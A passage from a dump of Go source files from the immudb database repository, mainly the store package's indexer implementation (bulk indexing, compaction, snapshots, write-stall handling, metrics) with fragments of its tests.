tx.Set([]byte(\"my-key\"), nil, nil)\n\trequire.NoError(t, err)\n\n\thdr, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\ttxholder, err := st.fetchAllocTx()\n\trequire.NoError(t, err)\n\n\tdefer st.releaseAllocTx(txholder)\n\n\t_, err = st.ExportTx(hdr.ID, false, false, txholder)\n\trequire.NoError(t, err)\n}\n\nfunc TestIndexingChanges(t *testing.T) {\n\tst, err := Open(t.TempDir(), DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\trequire.NotNil(t, st)\n\n\tdefer immustoreClose(t, st)\n\n\terr = st.InitIndexing(&IndexSpec{\n\t\tSourcePrefix: []byte(\"j\"),\n\t\tTargetPrefix: []byte(\"j\"),\n\t})\n\trequire.NoError(t, err)\n\n\terr = st.InitIndexing(&IndexSpec{\n\t\tSourcePrefix: []byte(\"k\"),\n\t\tTargetPrefix: []byte(\"k\"),\n\t})\n\trequire.NoError(t, err)\n\n\ttx1, err := st.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx1.Set([]byte(\"j1\"), nil, []byte(\"val_j1\"))\n\trequire.NoError(t, err)\n\n\terr = tx1.Set([]byte(\"k1\"), nil, []byte(\"val_k1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx1.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\ttx2, err := st.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, err = tx2.Get(context.Background(), []byte(\"j1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx2.Get(context.Background(), []byte(\"k1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx2.Get(context.Background(), []byte(\"k2\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, err = tx2.GetWithPrefixAndFilters(context.Background(), []byte(\"k2\"), []byte(\"k2\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\terr = tx2.Cancel()\n\trequire.NoError(t, err)\n\n\terr = st.DeleteIndex([]byte(\"j\"))\n\trequire.NoError(t, err)\n\n\terr = st.DeleteIndex([]byte(\"j\"))\n\trequire.ErrorIs(t, err, ErrIndexNotFound)\n\n\ttx3, err := st.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, err = tx3.Get(context.Background(), []byte(\"j1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, err = tx3.Get(context.Background(), []byte(\"k1\"))\n\trequire.NoError(t, err)\n\n\terr = tx3.Cancel()\n\trequire.NoError(t, err)\n\n\terr = st.InitIndexing(&IndexSpec{\n\t\tSourcePrefix: []byte(\"j\"),\n\t\tTargetPrefix: []byte(\"j\"),\n\t})\n\trequire.NoError(t, err)\n\n\ttx4, err := st.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, err = tx4.Get(context.Background(), []byte(\"j1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx4.Get(context.Background(), []byte(\"k1\"))\n\trequire.NoError(t, err)\n\n\terr = tx4.Cancel()\n\trequire.NoError(t, err)\n\n\terr = st.CloseIndexing([]byte(\"k\"))\n\trequire.NoError(t, err)\n\n\ttx5, err := st.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, err = tx5.Get(context.Background(), []byte(\"j1\"))\n\trequire.NoError(t, err)\n\n\t_, err = tx5.Get(context.Background(), []byte(\"k1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, err = st.GetBetween(context.Background(), []byte(\"k1\"), 1, 1)\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, err = tx5.GetWithPrefixAndFilters(context.Background(), []byte(\"k1\"), []byte(\"k1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\terr = tx5.Cancel()\n\trequire.NoError(t, err)\n\n\t_, err = st.Get(context.Background(), []byte(\"m1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, err = st.GetBetween(context.Background(), []byte(\"m1\"), 1, 2)\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t_, _, err = st.GetWithPrefixAndFilters(context.Background(), []byte(\"k1\"), []byte(\"k1\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n}\n"
  },
  {
    "path": "embedded/store/indexer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"math/rand\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/embedded/watchers\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n)\n\nvar ErrWriteStalling = errors.New(\"write stalling\")\n\nconst (\n\twriteStallingSleepDurationMin = 10 * time.Millisecond\n\twriteStallingSleepDurationMax = 50 * time.Millisecond\n)\n\ntype indexer struct {\n\tpath string\n\n\tstore *ImmuStore\n\n\tspec *IndexSpec\n\n\ttx *Tx\n\n\tmaxBulkSize            int\n\tbulkPreparationTimeout time.Duration\n\n\t_kvs []*tbtree.KVT            //pre-allocated for multi-tx bulk indexing\n\t_val [DefaultMaxValueLen]byte //pre-allocated buffer to read entry values while mapping\n\n\tindex *tbtree.TBtree\n\n\tctx        context.Context\n\tcancelFunc context.CancelFunc\n\twHub       *watchers.WatchersHub\n\n\tstate     int\n\tstateCond *sync.Cond\n\n\tclosed bool\n\n\tcompactionMutex sync.Mutex\n\trwmutex         sync.RWMutex\n\n\tmetricsLastCommittedTrx prometheus.Gauge\n\tmetricsLastIndexedTrx   prometheus.Gauge\n}\n\ntype EntryMapper = func(key []byte, value []byte) ([]byte, error)\n\ntype runningState = int\n\nconst (\n\trunning runningState = iota\n\tstopped\n\tpaused\n)\n\nvar (\n\tmetricsLastIndexedTrxId = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_last_indexed_trx_id\",\n\t\tHelp: \"The highest id of indexed transaction\",\n\t}, []string{\n\t\t\"db\",\n\t\t\"index\",\n\t})\n\tmetricsLastCommittedTrx = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\t\tName: \"immudb_last_committed_trx_id\",\n\t\tHelp: \"The highest id of committed transaction\",\n\t}, []string{\n\t\t\"db\",\n\t\t\"index\",\n\t})\n)\n\nfunc newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) {\n\tif store == nil {\n\t\treturn nil, fmt.Errorf(\"%w: nil store\", ErrIllegalArguments)\n\t}\n\n\tid := atomic.AddUint64(&store.nextIndexerID, 1)\n\tif id-1 > math.MaxUint16 {\n\t\treturn nil, ErrMaxIndexersLimitExceeded\n\t}\n\n\tindexOpts := tbtree.DefaultOptions().\n\t\tWithIdentifier(uint16(id - 1)).\n\t\tWithReadOnly(opts.ReadOnly).\n\t\tWithFileMode(opts.FileMode).\n\t\tWithLogger(opts.logger).\n\t\tWithFileSize(opts.FileSize).\n\t\tWithCacheSize(opts.IndexOpts.CacheSize).\n\t\tWithCache(store.indexCache).\n\t\tWithFlushThld(opts.IndexOpts.FlushThld).\n\t\tWithSyncThld(opts.IndexOpts.SyncThld).\n\t\tWithFlushBufferSize(opts.IndexOpts.FlushBufferSize).\n\t\tWithCleanupPercentage(opts.IndexOpts.CleanupPercentage).\n\t\tWithMaxActiveSnapshots(opts.IndexOpts.MaxActiveSnapshots).\n\t\tWithMaxNodeSize(opts.IndexOpts.MaxNodeSize).\n\t\tWithMaxKeySize(opts.MaxKeyLen).\n\t\tWithMaxValueSize(lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen). // indexed values\n\t\tWithNodesLogMaxOpenedFiles(opts.IndexOpts.NodesLogMaxOpenedFiles).\n\t\tWithHistoryLogMaxOpenedFiles(opts.IndexOpts.HistoryLogMaxOpenedFiles).\n\t\tWithCommitLogMaxOpenedFiles(opts.IndexOpts.CommitLogMaxOpenedFiles).\n\t\tWithRenewSnapRootAfter(opts.IndexOpts.RenewSnapRootAfter).\n\t\tWithCompactionThld(opts.IndexOpts.CompactionThld).\n\t\tWithDelayDuringCompaction(opts.IndexOpts.DelayDuringCompaction).\n\t\tWithMaxBufferedDataSize(opts.IndexOpts.MaxBufferedDataSize).\n\t\tWithOnFlushFunc(func(releasedDataSize int) {\n\t\t\tstore.memSemaphore.Release(uint64(releasedDataSize))\n\t\t})\n\n\tif opts.appFactory != nil {\n\t\tindexOpts.WithAppFactory(tbtree.AppFactoryFunc(opts.appFactory))\n\t}\n\n\tif opts.appRemove != nil {\n\t\tindexOpts.WithAppRemoveFunc(tbtree.AppRemoveFunc(opts.appRemove))\n\t}\n\n\tindex, err := tbtree.Open(path, indexOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar wHub *watchers.WatchersHub\n\tif opts.MaxWaitees > 0 {\n\t\twHub = watchers.New(0, opts.MaxWaitees)\n\t}\n\n\ttx := NewTx(opts.MaxTxEntries, opts.MaxKeyLen)\n\n\tkvs := make([]*tbtree.KVT, store.maxTxEntries*opts.IndexOpts.MaxBulkSize)\n\tfor i := range kvs {\n\t\t// vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd\n\t\telen := lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen\n\t\tkvs[i] = &tbtree.KVT{K: make([]byte, store.maxKeyLen), V: make([]byte, elen)}\n\t}\n\n\tindexer := &indexer{\n\t\tstore:                  store,\n\t\ttx:                     tx,\n\t\tmaxBulkSize:            opts.IndexOpts.MaxBulkSize,\n\t\tbulkPreparationTimeout: opts.IndexOpts.BulkPreparationTimeout,\n\t\t_kvs:                   kvs,\n\t\tpath:                   path,\n\t\tindex:                  index,\n\t\twHub:                   wHub,\n\t\tstate:                  stopped,\n\t\tstateCond:              sync.NewCond(&sync.Mutex{}),\n\t}\n\n\tdbName := filepath.Base(store.path)\n\tidxName := filepath.Base(path)\n\tindexer.metricsLastIndexedTrx = metricsLastIndexedTrxId.WithLabelValues(dbName, idxName)\n\tindexer.metricsLastCommittedTrx = metricsLastCommittedTrx.WithLabelValues(dbName, idxName)\n\n\treturn indexer, nil\n}\n\nfunc (idx *indexer) init(spec *IndexSpec) {\n\tidx.rwmutex.Lock()\n\tdefer idx.rwmutex.Unlock()\n\n\tidx.spec = spec\n\n\tidx.resume()\n}\n\nfunc (idx *indexer) SourcePrefix() []byte {\n\treturn idx.spec.SourcePrefix\n}\n\nfunc (idx *indexer) TargetPrefix() []byte {\n\treturn idx.spec.TargetPrefix\n}\n\nfunc (idx *indexer) Ts() uint64 {\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\treturn idx.index.Ts()\n}\n\nfunc (idx *indexer) SyncSnapshot() (*tbtree.Snapshot, error) {\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\treturn idx.index.SyncSnapshot()\n}\n\nfunc (idx *indexer) Get(key []byte) (value []byte, tx uint64, hc uint64, err error) {\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\treturn idx.index.Get(key)\n}\n\nfunc (idx *indexer) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) (value []byte, tx uint64, hc uint64, err error) {\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\treturn idx.index.GetBetween(key, initialTxID, finalTxID)\n}\n\nfunc (idx *indexer) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []tbtree.TimedValue, hCount uint64, err error) {\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn nil, 0, ErrAlreadyClosed\n\t}\n\n\treturn idx.index.History(key, offset, descOrder, limit)\n}\n\nfunc (idx *indexer) Snapshot() (*tbtree.Snapshot, error) {\n\tidx.compactionMutex.Lock()\n\tdefer idx.compactionMutex.Unlock()\n\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\treturn idx.index.Snapshot()\n}\n\nfunc (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, txID uint64, renewalPeriod time.Duration) (*tbtree.Snapshot, error) {\n\tidx.compactionMutex.Lock()\n\tdefer idx.compactionMutex.Unlock()\n\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\treturn idx.index.SnapshotMustIncludeTsWithRenewalPeriod(txID, renewalPeriod)\n}\n\nfunc (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, tx uint64, hc uint64, err error) {\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn nil, nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\treturn idx.index.GetWithPrefix(prefix, neq)\n}\n\nfunc (idx *indexer) Sync() error {\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\treturn idx.index.Sync()\n}\n\nfunc (idx *indexer) Close() error {\n\tidx.compactionMutex.Lock()\n\tdefer idx.compactionMutex.Unlock()\n\n\tidx.rwmutex.RLock()\n\tdefer idx.rwmutex.RUnlock()\n\n\tif idx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tidx.stop()\n\tidx.wHub.Close()\n\n\tidx.closed = true\n\n\treturn idx.index.Close()\n}\n\nfunc (idx *indexer) WaitForIndexingUpto(ctx context.Context, txID uint64) error {\n\tif idx.wHub != nil {\n\t\terr := idx.wHub.WaitFor(ctx, txID)\n\t\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\t\treturn ErrAlreadyClosed\n\t\t}\n\t\treturn err\n\t}\n\n\treturn watchers.ErrMaxWaitessLimitExceeded\n}\n\nfunc (idx *indexer) CompactIndex() (err error) {\n\tidx.compactionMutex.Lock()\n\tdefer idx.compactionMutex.Unlock()\n\n\tidx.store.logger.Infof(\"compacting index '%s'...\", idx.store.path)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\tidx.store.logger.Infof(\"index '%s' sucessfully compacted\", idx.store.path)\n\t\t} else if errors.Is(err, tbtree.ErrCompactionThresholdNotReached) {\n\t\t\tidx.store.logger.Infof(\"compaction of index '%s' not needed: %v\", idx.store.path, err)\n\t\t} else {\n\t\t\tidx.store.logger.Warningf(\"%v: while compacting index '%s'\", err, idx.store.path)\n\t\t}\n\t}()\n\n\t_, err = idx.index.Compact()\n\tif errors.Is(err, tbtree.ErrAlreadyClosed) {\n\t\treturn ErrAlreadyClosed\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn idx.restartIndex()\n}\n\nfunc (idx *indexer) FlushIndex(cleanupPercentage float32, synced bool) (err error) {\n\tidx.compactionMutex.Lock()\n\tdefer idx.compactionMutex.Unlock()\n\n\t_, _, err = idx.index.FlushWith(cleanupPercentage, synced)\n\tif errors.Is(err, tbtree.ErrAlreadyClosed) {\n\t\treturn ErrAlreadyClosed\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (idx *indexer) stop() {\n\tidx.stateCond.L.Lock()\n\tidx.state = stopped\n\tidx.cancelFunc()\n\tidx.stateCond.L.Unlock()\n\tidx.stateCond.Signal()\n\n\tidx.store.notify(Info, true, \"indexing gracefully stopped at '%s'\", idx.store.path)\n}\n\nfunc (idx *indexer) resume() {\n\tidx.stateCond.L.Lock()\n\tidx.state = running\n\tidx.ctx, idx.cancelFunc = context.WithCancel(context.Background())\n\tgo idx.doIndexing()\n\tidx.stateCond.L.Unlock()\n\n\tidx.store.notify(Info, true, \"indexing in progress at '%s'\", idx.store.path)\n}\n\nfunc (idx *indexer) restartIndex() error {\n\tidx.rwmutex.Lock()\n\tdefer idx.rwmutex.Unlock()\n\n\tif idx.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tidx.stop()\n\tdefer idx.resume()\n\n\topts := idx.index.GetOptions()\n\n\terr := idx.index.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tindex, err := tbtree.Open(idx.path, opts)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tidx.index = index\n\n\treturn err\n}\n\nfunc (idx *indexer) Resume() {\n\tidx.stateCond.L.Lock()\n\tidx.state = running\n\tidx.stateCond.L.Unlock()\n\tidx.stateCond.Signal()\n}\n\nfunc (idx *indexer) Pause() {\n\tidx.stateCond.L.Lock()\n\tidx.state = paused\n\tidx.stateCond.L.Unlock()\n}\n\nfunc (idx *indexer) doIndexing() {\n\tcommittedTxID := idx.store.LastCommittedTxID()\n\tidx.metricsLastCommittedTrx.Set(float64(committedTxID))\n\n\tfor {\n\t\tlastIndexedTx := idx.index.Ts()\n\t\tidx.metricsLastIndexedTrx.Set(float64(lastIndexedTx))\n\n\t\tif idx.wHub != nil {\n\t\t\tidx.wHub.DoneUpto(lastIndexedTx)\n\t\t}\n\n\t\terr := idx.store.commitWHub.WaitFor(idx.ctx, lastIndexedTx+1)\n\t\tif idx.ctx.Err() != nil || errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\tidx.store.logger.Errorf(\"indexing failed at '%s' due to error: %v\", idx.store.path, err)\n\t\t\ttime.Sleep(60 * time.Second)\n\t\t}\n\n\t\tcommittedTxID := idx.store.LastCommittedTxID()\n\t\tidx.metricsLastCommittedTrx.Set(float64(committedTxID))\n\n\t\ttxsToIndex := committedTxID - lastIndexedTx\n\t\tidx.store.notify(Info, false, \"%d transaction/s to be indexed at '%s'\", txsToIndex, idx.store.path)\n\n\t\tidx.stateCond.L.Lock()\n\t\tfor {\n\t\t\tif idx.state == stopped {\n\t\t\t\tidx.stateCond.L.Unlock()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif idx.state == running {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tidx.stateCond.Wait()\n\t\t}\n\t\tidx.stateCond.L.Unlock()\n\n\t\terr = idx.indexSince(lastIndexedTx + 1)\n\t\tif errors.Is(err, ErrAlreadyClosed) || errors.Is(err, tbtree.ErrAlreadyClosed) {\n\t\t\treturn\n\t\t}\n\n\t\tif err != nil && !errors.Is(err, ErrWriteStalling) {\n\t\t\tidx.store.logger.Errorf(\"indexing failed at '%s' due to error: %v\", idx.store.path, err)\n\t\t\ttime.Sleep(60 * time.Second)\n\t\t}\n\n\t\tif err := idx.handleWriteStalling(err); err != nil {\n\t\t\tidx.store.logger.Errorf(\"indexing failed at '%s' due to error: %v\", idx.store.path, err)\n\t\t\ttime.Sleep(60 * time.Second)\n\t\t}\n\t}\n}\n\nfunc (idx *indexer) handleWriteStalling(err error) error {\n\tif !errors.Is(err, ErrWriteStalling) {\n\t\treturn nil\n\t}\n\n\tif err := idx.store.FlushIndexes(0, false); err != nil {\n\t\treturn err\n\t}\n\t// NOSONAR   (rand is fine here)\n\tsleepTime := writeStallingSleepDurationMin + time.Duration(rand.Intn(int(writeStallingSleepDurationMax-writeStallingSleepDurationMin+1)))\n\ttime.Sleep(sleepTime)\n\treturn nil\n}\n\nfunc serializeIndexableEntry(b []byte, txmd []byte, e *TxEntry, kvmd []byte) int {\n\tn := 0\n\n\ttxmdLen := len(txmd)\n\n\tbinary.BigEndian.PutUint32(b[n:], uint32(e.vLen))\n\tn += lszSize\n\n\tbinary.BigEndian.PutUint64(b[n:], uint64(e.vOff))\n\tn += offsetSize\n\n\tcopy(b[n:], e.hVal[:])\n\tn += sha256.Size\n\n\tbinary.BigEndian.PutUint16(b[n:], uint16(txmdLen))\n\tn += sszSize\n\n\tcopy(b[n:], txmd)\n\tn += txmdLen\n\n\tkvmdLen := len(kvmd)\n\n\tbinary.BigEndian.PutUint16(b[n:], uint16(kvmdLen))\n\tn += sszSize\n\n\tcopy(b[n:], kvmd)\n\tn += kvmdLen\n\n\treturn n\n}\n\nfunc (idx *indexer) mapKey(key []byte, vLen int, vOff int64, hVal [sha256.Size]byte, mapper EntryMapper) (mappedKey []byte, err error) {\n\tif mapper == nil {\n\t\treturn key, nil\n\t}\n\n\tbuf := idx.valBuffer(vLen)\n\t_, err = idx.store.readValueAt(buf, vOff, hVal, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn mapper(key, buf)\n}\n\nfunc (idx *indexer) valBuffer(vLen int) []byte {\n\tif vLen > len(idx._val) {\n\t\treturn make([]byte, vLen)\n\t}\n\treturn idx._val[:vLen]\n}\n\nfunc (idx *indexer) indexSince(txID uint64) error {\n\tctx, cancel := context.WithTimeout(context.Background(), idx.bulkPreparationTimeout)\n\tdefer cancel()\n\n\tacquiredMem := 0\n\tbulkSize := 0\n\tindexableEntries := 0\n\n\tfor i := 0; i < idx.maxBulkSize; i++ {\n\t\terr := idx.store.readTx(txID+uint64(i), false, false, idx.tx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttxIndexedEntries := 0\n\t\ttxEntries := idx.tx.Entries()\n\n\t\tvar txmd []byte\n\n\t\tif idx.tx.header.Metadata != nil {\n\t\t\ttxmd = idx.tx.header.Metadata.Bytes()\n\t\t}\n\n\t\tfor _, e := range txEntries {\n\t\t\tif e.md != nil && e.md.NonIndexable() {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif !hasPrefix(e.key(), idx.spec.SourcePrefix) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tsourceKey, err := idx.mapKey(e.key(), e.vLen, e.vOff, e.hVal, idx.spec.SourceEntryMapper)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\ttargetKey, err := idx.mapKey(sourceKey, e.vLen, e.vOff, e.hVal, idx.spec.TargetEntryMapper)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif !hasPrefix(targetKey, idx.spec.TargetPrefix) {\n\t\t\t\treturn fmt.Errorf(\"%w: the target entry mapper has not generated a key with the specified target prefix\", ErrIllegalArguments)\n\t\t\t}\n\n\t\t\t// vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmds\n\t\t\tvar b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte\n\n\t\t\tvar kvmd []byte\n\n\t\t\tif e.Metadata() != nil {\n\t\t\t\tkvmd = e.Metadata().Bytes()\n\t\t\t}\n\n\t\t\tn := serializeIndexableEntry(b[:], txmd, e, kvmd)\n\n\t\t\tidx._kvs[indexableEntries].K = targetKey\n\t\t\tidx._kvs[indexableEntries].V = b[:n]\n\t\t\tidx._kvs[indexableEntries].T = txID + uint64(i)\n\n\t\t\tindexableEntries++\n\t\t\ttxIndexedEntries++\n\n\t\t\tif idx.spec.InjectiveMapping && txID > 1 {\n\t\t\t\t// wait for source indexer to be up to date\n\t\t\t\tsourceIndexer, err := idx.store.getIndexerFor(sourceKey)\n\t\t\t\tif errors.Is(err, ErrIndexNotFound) {\n\t\t\t\t\tcontinue\n\t\t\t\t} else if err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\terr = sourceIndexer.WaitForIndexingUpto(context.Background(), txID-1)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\t// the previous entry as of txID must be deleted from the target index\n\t\t\t\t_, prevTxID, _, err := sourceIndexer.index.GetBetween(sourceKey, 1, txID-1)\n\t\t\t\tif err == nil {\n\t\t\t\t\tprevEntry, prevTxHdr, err := idx.store.ReadTxEntry(prevTxID, e.key(), false)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\n\t\t\t\t\ttargetPrevKey, err := idx.mapKey(sourceKey, prevEntry.vLen, prevEntry.vOff, prevEntry.hVal, idx.spec.TargetEntryMapper)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\n\t\t\t\t\tif bytes.Equal(targetKey, targetPrevKey) {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tif !hasPrefix(targetPrevKey, idx.spec.TargetPrefix) {\n\t\t\t\t\t\treturn fmt.Errorf(\"%w: the target entry mapper has not generated a key with the specified target prefix\", ErrIllegalArguments)\n\t\t\t\t\t}\n\n\t\t\t\t\tvar txmd []byte\n\n\t\t\t\t\tif prevTxHdr.Metadata != nil {\n\t\t\t\t\t\ttxmd = prevTxHdr.Metadata.Bytes()\n\t\t\t\t\t}\n\n\t\t\t\t\tvar kvmd *KVMetadata\n\n\t\t\t\t\tif prevEntry.Metadata() != nil {\n\t\t\t\t\t\tkvmd = prevEntry.Metadata()\n\t\t\t\t\t} else {\n\t\t\t\t\t\tkvmd = NewKVMetadata()\n\t\t\t\t\t}\n\n\t\t\t\t\tkvmd.AsDeleted(true)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\n\t\t\t\t\tvar b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte\n\n\t\t\t\t\tn := serializeIndexableEntry(b[:], txmd, prevEntry, kvmd.Bytes())\n\n\t\t\t\t\tidx._kvs[indexableEntries].K = targetPrevKey\n\t\t\t\t\tidx._kvs[indexableEntries].V = b[:n]\n\t\t\t\t\tidx._kvs[indexableEntries].T = txID + uint64(i)\n\n\t\t\t\t\tindexableEntries++\n\t\t\t\t\ttxIndexedEntries++\n\t\t\t\t} else if !errors.Is(err, ErrKeyNotFound) {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif indexableEntries > 0 && txIndexedEntries > 0 {\n\t\t\tsize := estimateEntriesSize(idx._kvs[indexableEntries-txIndexedEntries : indexableEntries])\n\t\t\tif !idx.store.memSemaphore.Acquire(uint64(size)) {\n\t\t\t\tif acquiredMem == 0 {\n\t\t\t\t\treturn ErrWriteStalling\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tacquiredMem += size\n\t\t}\n\n\t\tbulkSize++\n\n\t\tif bulkSize < idx.maxBulkSize {\n\t\t\t// wait for the next tx to be committed\n\t\t\terr = idx.store.commitWHub.WaitFor(ctx, txID+uint64(i+1))\n\t\t}\n\t\tif ctx.Err() != nil {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tvar err error\n\n\tif indexableEntries == 0 {\n\t\t// if there are no entries to be indexed, the logical time in the tree\n\t\t// is still moved forward to indicate up to what point has transaction\n\t\t// indexing been completed\n\t\terr = idx.index.IncreaseTs(txID + uint64(bulkSize-1))\n\t} else {\n\t\terr = idx.index.BulkInsert(idx._kvs[:indexableEntries])\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tidx.metricsLastIndexedTrx.Set(float64(txID + uint64(bulkSize-1)))\n\n\treturn nil\n}\n\nfunc estimateEntriesSize(kvs []*tbtree.KVT) int {\n\tsize := 0\n\tfor _, kv := range kvs {\n\t\tsize += len(kv.K) + len(kv.V) + 8\n\t}\n\treturn size\n}\n"
  },
  {
    "path": "embedded/store/indexer_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/watchers\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewIndexerFailure(t *testing.T) {\n\tindexer, err := newIndexer(t.TempDir(), nil, nil)\n\trequire.Nil(t, indexer)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestNewIndexer(t *testing.T) {\n\tstor := ImmuStore{}\n\tindexer, err := newIndexer(t.TempDir(), &stor, DefaultOptions())\n\trequire.Nil(t, err)\n\trequire.NotNil(t, indexer)\n}\n\nfunc TestClosedIndexerFailures(t *testing.T) {\n\tstore, err := Open(t.TempDir(), DefaultOptions().WithIndexOptions(\n\t\tDefaultIndexOptions().WithCompactionThld(1),\n\t))\n\trequire.NoError(t, 